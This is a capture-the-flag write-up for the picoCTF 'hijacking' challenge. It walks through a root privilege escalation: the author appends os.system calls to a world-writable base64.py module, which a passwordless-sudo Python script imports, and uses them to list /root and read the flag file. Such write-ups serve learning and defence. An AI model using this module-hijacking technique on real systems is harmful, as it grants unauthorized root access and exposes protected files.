Skip to content

Latest commit

 

History

History
executable file
·
110 lines (79 loc) · 5 KB

File metadata and controls

executable file
·
110 lines (79 loc) · 5 KB

hijacking

Overview

200 points

Category: Binary Exploitation

Tags : #python #privilegeescalation #libraryhijack

Description

Getting root access can allow you to read the flag. Luckily there is a python file that you might like to play with. Through Social engineering, we've got the credentials to use on the server. SSH is running on the server.

Approach

Listing the contents of the home folder on the challenge instance :

drwxr-xr-x 1 picoctf picoctf   20 Mar 27 06:35 .
drwxr-xr-x 1 root    root      21 Mar 16 02:08 ..
-rw-r--r-- 1 picoctf picoctf  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 picoctf picoctf 3771 Feb 25  2020 .bashrc
drwx------ 2 picoctf picoctf   34 Mar 27 06:35 .cache
-rw-r--r-- 1 picoctf picoctf  807 Feb 25  2020 .profile
-rw-r--r-- 1 root    root     375 Mar 16 01:30 .server.py

The hidden .server.py python script is the file of interest referred to in the description. Note this file is owned by root and permissions do not allow for editing. There is no typical flag.txt file or similar in sight.

The contents of the .server.py python script is as below, with nothing overly nefarious looking within :

import base64
import os
import socket
ip = 'picoctf.org'
response = os.system("ping -c 1 " + ip)
#saving ping details to a variable
host_info = socket.gethostbyaddr(ip) 
#getting IP from a domaine
host_info_to_str = str(host_info[2])
host_info = base64.b64encode(host_info_to_str.encode('ascii'))
print("Hello, this is a part of information gathering",'Host: ', host_info) 

Executing the python script yields :

picoctf@challenge:~$ python3 .server.py
sh: 1: ping: not found
Traceback (most recent call last):
  File ".server.py", line 7, in <module>
    host_info = socket.gethostbyaddr(ip) 
socket.gaierror: [Errno -5] No address associated with hostname

Initially I spent a long time trying to construct a fake ping command to take place of the missing binary, but without much success so I started looking more closely at the python modules imported and the potential for a hijacking.

First step was to find the location of the modules in use :

picoctf@challenge:~$ python3
Python 3.8.10 (default, Nov 14 2022, 12:59:47) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> print(sys.path)
['', '/usr/lib/python38.zip', '/usr/lib/python3.8', '/usr/lib/python3.8/lib-dynload', '/usr/local/lib/python3.8/dist-packages', '/usr/lib/python3/dist-packages']
>>> quit()

Looking at the permissions of the base64 module within /usr/lib/python3.8 we have full read-write-execute access.

picoctf@challenge:~$ ls -al /usr/lib/python3.8
-rwxrwxrwx 1 root root  20382 Nov 14 12:59 base64.py

So we could modify the imported base64 module with our own code, but what held me up next was attempting to facilitate the execution of the .server.py script to the base64.b64encode() function, where I would put all my code. I looked into attempting to adding hosts to try and resolve the host information and allow execution to continue beyond the socket.gethostbyadd(ip) call.

But then I realised that all code within the imported module is executed upon import, I didn't have to wait for the use of base64.b64encode() function, I could add my code to the top of the base64 module and it would get executed on import.

This left the remaining piece of the puzzle, how to escalate privileges to be able to run as root. So I checked what commands could be run via sudo :

picoctf@challenge:~$ sudo -l
Matching Defaults entries for picoctf on challenge:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User picoctf may run the following commands on challenge:
  (ALL) /usr/bin/vi
  (root) NOPASSWD: /usr/bin/python3 /home/picoctf/.server.py

Notice our .server.py script can be run via sudo without password.

Solution

The solution below includes my prototyping, proof of concept and exploration to confirm privelige escalation and to assist in finding the flag, hence is not a "minimal" solution, but is presented as was used during the event.

The following lines were added to the top of /lib/python3.8/base64.py :

import os
print('Hello World!')
os.system('whoami')
os.system('ls -al /root > /home/picoctf/r.txt')
os.system('cat /root/.flag.txt')

Now running the .server.py script with the modified base64 import module yields the following output (actual flag value has been redacted for the purposes of this write up) :

$ sudo python3 /home/picoctf/.server.py
Hello World!
root
picoCTF{.......<redacted>...............}
sh: 1: ping: not found
Traceback (most recent call last):
  File "/home/picoctf/.server.py", line 7, in <module>
    host_info = socket.gethostbyaddr(ip) 
socket.gaierror: [Errno -5] No address associated with hostname